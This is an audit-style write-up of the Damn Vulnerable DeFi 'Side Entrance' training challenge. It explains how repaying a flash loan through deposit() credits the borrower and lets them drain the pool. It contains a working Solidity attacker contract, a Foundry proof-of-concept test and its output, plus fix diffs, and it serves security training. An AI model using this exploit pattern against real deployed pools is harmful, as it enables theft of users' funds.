Damn Vulnerable DeFi, Side Entrance Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: June 24, 2026

Table of contents

See table

About Me

I’m a smart contract security researcher focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Side Entrance challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is June 24, 2026. Tools used were manual review, Foundry (forge) for the PoC, Slither, and Aderyn.

Scope

```
src/side-entrance/
  SideEntranceLenderPool.sol
```

Protocol Summary

`SideEntranceLenderPool` is a simple ETH pool. Anyone can `deposit()` ETH and the pool remember how much each address put in inside the `balances` mapping. The same address can `withdraw()` their full balance at any time. On top of that, the pool offer free flash loans of the ETH it is holding through `flashLoan()`. A caller asks for an `amount`, the pool send that ETH to the caller by calling `execute()` on them, and at the end the pool only check that its own ETH balance is not lower than it was before the loan. If the balance is short, the call revert with `RepayFailed`.

The pool start with 1000 ETH already deposited. The intended security goal is that the pool never lose ETH, a flash loan should always leave the pool with at least the balance it started with, so nobody can walk away with the pool funds.

Roles

There is no owner or admin in this pool. Anyone can call `deposit()`, `withdraw()`, and `flashLoan()` with any value they like. The depositor is whoever send ETH into the pool, and they can only withdraw what they themselves deposited. The player or attacker is an unprivileged user who start with 1 ETH and must rescue all 1000 ETH from the pool into a recovery account.

Executive Summary

The pool keep two kinds of ETH in the same place but track them with one balance only check. The flash loan only ask “is my total ETH balance back to where it was?” at the end. It does not care *how* the ETH came back. The `deposit()` function let the borrower hand the borrowed ETH straight back to the pool, and in return it credit that ETH to the borrower inside the `balances` mapping.

So an attacker can borrow all 1000 ETH, deposit it right back inside the loan callback, and pass the balance check because the pool ETH balance is whole again. But now the attacker also own a 1000 ETH credit in `balances`. After the loan finish, the attacker simply call `withdraw()` and pull all 1000 ETH out for free, then forward it to the recovery account. The whole thing run in one transaction from a small attack contract.

The review also note lower severity and code quality observations, a `flashLoan()` that does no input validation and force the receiver to be `msg.sender`, and an `unchecked` block in `deposit()`.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	1
Informational	1

Severity	Number of issues found
Total	3

ID	Title	Severity
[H-1]	Repaying the flash loan through `deposit()` credits the borrower and lets them drain the pool	High
[L-1]	`flashLoan()` does no input validation and force the receiver to be `msg.sender`	Low
[I-1]	`deposit()` uses an `unchecked` block for balance accounting	Informational

Findings

High

[H-1] Repaying the flash loan through `deposit()` credits the borrower and lets them drain the pool (theft of funds)

Description:

The pool hold all ETH in one account, the contract balance, but it use that single balance for two different jobs, the flash loan repayment check and the per user deposit accounting.

The flash loan only check the raw contract balance at the end:

```
// src/side-entrance/SideEntranceLenderPool.sol:35-43
function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
    if (address(this).balance < balanceBefore) {
        revert RepayFailed();
    }
}
```

The check is only `address(this).balance < balanceBefore`. It does not care how the ETH came back, only that the total is whole again.

The `deposit()` function let anyone send ETH into the pool and it credit that ETH to the sender inside `balances`:

```
// src/side-entrance/SideEntranceLenderPool.sol:19-24
function deposit() external payable {
```

```
    unchecked {
        balances[msg.sender] += msg.value;
    }
    emit Deposit(msg.sender, msg.value);
}
```

These two pieces fit together in a bad way. During the loan callback, the borrower can take the borrowed ETH and call `deposit()` with it. That send the ETH back to the pool, so the contract balance is restored and the `RepayFailed` check pass. But at the same time `deposit()` writes a credit into `balances[borrower]` equal to the borrowed amount. The borrower has paid back the loan and *also* gained a withdrawable balance for the exact same ETH.

After the loan return, the attacker just call `withdraw()`:

```
// src/side-entrance/SideEntranceLenderPool.sol:26-33
function withdraw() external {
    uint256 amount = balances[msg.sender];

    delete balances[msg.sender];
    emit Withdraw(msg.sender, amount);

    SafeTransferLib.safeTransferETH(msg.sender, amount);
}
```

This send all 1000 ETH out of the pool to the attacker, who then forward it to the recovery account. The pool is fully drained.

Location is `src/side-entrance/SideEntranceLenderPool.sol:35-43` for `flashLoan()`, and `src/side-entrance/SideEntranceLenderPool.sol:19-24` for `deposit()`.

Impact:

Likelihood is High. The attack need no special permission, it cost only gas, and it is done in a single transaction by anyone.

Risk is also High. It steal all the ETH that is held in the pool, so this is a full theft of funds. Overall severity is High.

Proof of Concept:

The attacker deploy a small contract. The contract borrow the whole pool balance, and inside the `execute()` callback it deposit that ETH back into the pool. The deposit restore the pool balance (so the loan pass) and credit the attacker contract with 1000 ETH. After the loan, the contract call `withdraw()` to pull the 1000 ETH out, and forward it to the recovery account.

```
contract SideEntranceAttacker is IFlashLoanEtherReceiver {
    SideEntranceLenderPool private immutable pool;
```

```
    address private immutable recovery;

    constructor(SideEntranceLenderPool _pool, address _recovery) {
        pool = _pool;
        recovery = _recovery;
    }

    // Step 1: borrow everything, then deposit the borrowed ETH
right back.
    function attack() external {
        uint256 amount = address(pool).balance;
        pool.flashLoan(amount);
        // Step 3: pull our (credited) deposit out, then forward
it to recovery.
        pool.withdraw();
        (bool ok,) = recovery.call{value: address(this).balance}
("");
        require(ok, "send failed");
    }

    // Step 2: the pool calls us in the middle of the loan. We
deposit the
    // borrowed ETH back, which restores the pool balance but
credits us.
    function execute() external payable override {
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}

function test_sideEntrance() public {
    console.log("BEFORE ATTACK");
    console.log("pool balance     :", address(pool).balance);
    console.log("recovery balance :", recovery.balance);
    console.log("player balance   :", player.balance);

    vm.startPrank(player, player);
    SideEntranceAttacker attacker = new SideEntranceAttacker(pool,
recovery);
    attacker.attack();
    vm.stopPrank();

    console.log("AFTER ATTACK");
    console.log("pool balance     :", address(pool).balance);
    console.log("recovery balance :", recovery.balance);

    assertEq(address(pool).balance, 0, "Pool still has ETH");
    assertEq(recovery.balance, ETHER_IN_POOL, "Not enough ETH in
recovery account");
}
```

Console output from `forge test --match-path test/side-entrance/SideEntrancePoC.t.sol -vv`:

```
Ran 1 test for test/side-entrance/
SideEntrancePoC.t.sol:SideEntrancePoC
[PASS] test_sideEntrance() (gas: 247362)
Logs:
  BEFORE ATTACK
  pool balance     : 1000000000000000000000
  recovery balance : 0
  player balance   : 1000000000000000000
  AFTER ATTACK
  pool balance     : 0
  recovery balance : 1000000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped
```

The numbers show the drain clearly. The pool start with 1000 ETH and end with 0, and the recovery account end with the full 1000 ETH, all funded by the pool own ETH.

Recommended Mitigation:

The root problem is that the flash loan trust a raw balance check that the borrower can satisfy with the pool own deposit path. Fix the accounting so the loan repayment cannot also count as a deposit.

The cleanest fix is to track the total deposited ETH in its own variable and require the flash loan to be repaid through a dedicated path, not through `deposit()`. A simple and effective version is to add a reentrancy guard so the loan callback cannot re enter the pool state functions.

File: `src/side-entrance/SideEntranceLenderPool.sol`:

```
+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/
        ReentrancyGuard.sol";

-contract SideEntranceLenderPool {
+contract SideEntranceLenderPool is ReentrancyGuard {
     mapping(address => uint256) public balances;

-    function deposit() external payable {
+    function deposit() external payable nonReentrant {
         unchecked {
             balances[msg.sender] += msg.value;
         }
         emit Deposit(msg.sender, msg.value);
     }

-    function withdraw() external {
+    function withdraw() external nonReentrant {
         uint256 amount = balances[msg.sender];
```

```
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

-   function flashLoan(uint256 amount) external {
+   function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value:
       amount}();
        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }
```

With a shared `nonReentrant` guard, the borrower can no longer call `deposit()` from inside the loan callback, so they cannot mint themselves a free withdrawable balance. For a fully correct design, the pool should also separate the flash loan liquidity from the user deposit accounting, so the two ETH pools are never mixed.

Low

[L-1] `flashLoan()` does no input validation and force the receiver to be `msg.sender`

Description:

```
// src/side-entrance/SideEntranceLenderPool.sol:35-43
function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
    if (address(this).balance < balanceBefore) {
        revert RepayFailed();
    }
}
```

`flashLoan()` has two minor issues: First it does not validate amount, so zero values are accepted and overly large values revert with a low level error instead of a clear custom revert. And the loan is always sent to `msg.sender` and requires it to implement `IFlashLoanEtherReceiver`, meaning only contracts can use it and the receiver cannot be chosen separately. This limits flexibility and makes the function harder to integrate, though it is mainly a design constraint rather than a security issue.

Location is `src/side-entrance/SideEntranceLenderPool.sol:35-43`.

Impact:

Likelihood is Low. Risk is Low, mostly poor error reporting and a rigid interface, no direct loss of funds from this issue alone.

Proof of Concept:

N/A

Recommended Mitigation:

Add a clear check on `amount` and revert with a named error when it is zero or larger than the available balance.

File: `src/side-entrance/SideEntranceLenderPool.sol`, function `flashLoan()`:

```
+    error InvalidAmount();
+
     function flashLoan(uint256 amount) external {
+        if (amount == 0 || amount > address(this).balance) revert
        InvalidAmount();
         uint256 balanceBefore = address(this).balance;

         IFlashLoanEtherReceiver(msg.sender).execute{value:
        amount}();
         if (address(this).balance < balanceBefore) {
             revert RepayFailed();
         }
     }
```

Informational

[I-1] `deposit()` uses an `unchecked` block for balance accounting

Description:

```
// src/side-entrance/SideEntranceLenderPool.sol:19-24
function deposit() external payable {
    unchecked {
        balances[msg.sender] += msg.value;
    }
    emit Deposit(msg.sender, msg.value);
}
```

Impact:

Info

Proof of Concept:

N/A

Recommended Mitigation:

Drop the `unchecked` block and let the default checked addition protect the balance accounting.

File: `src/side-entrance/SideEntranceLenderPool.sol`, function `deposit()`:

```
     function deposit() external payable {
-        unchecked {
-            balances[msg.sender] += msg.value;
-        }
+        balances[msg.sender] += msg.value;
         emit Deposit(msg.sender, msg.value);
     }
```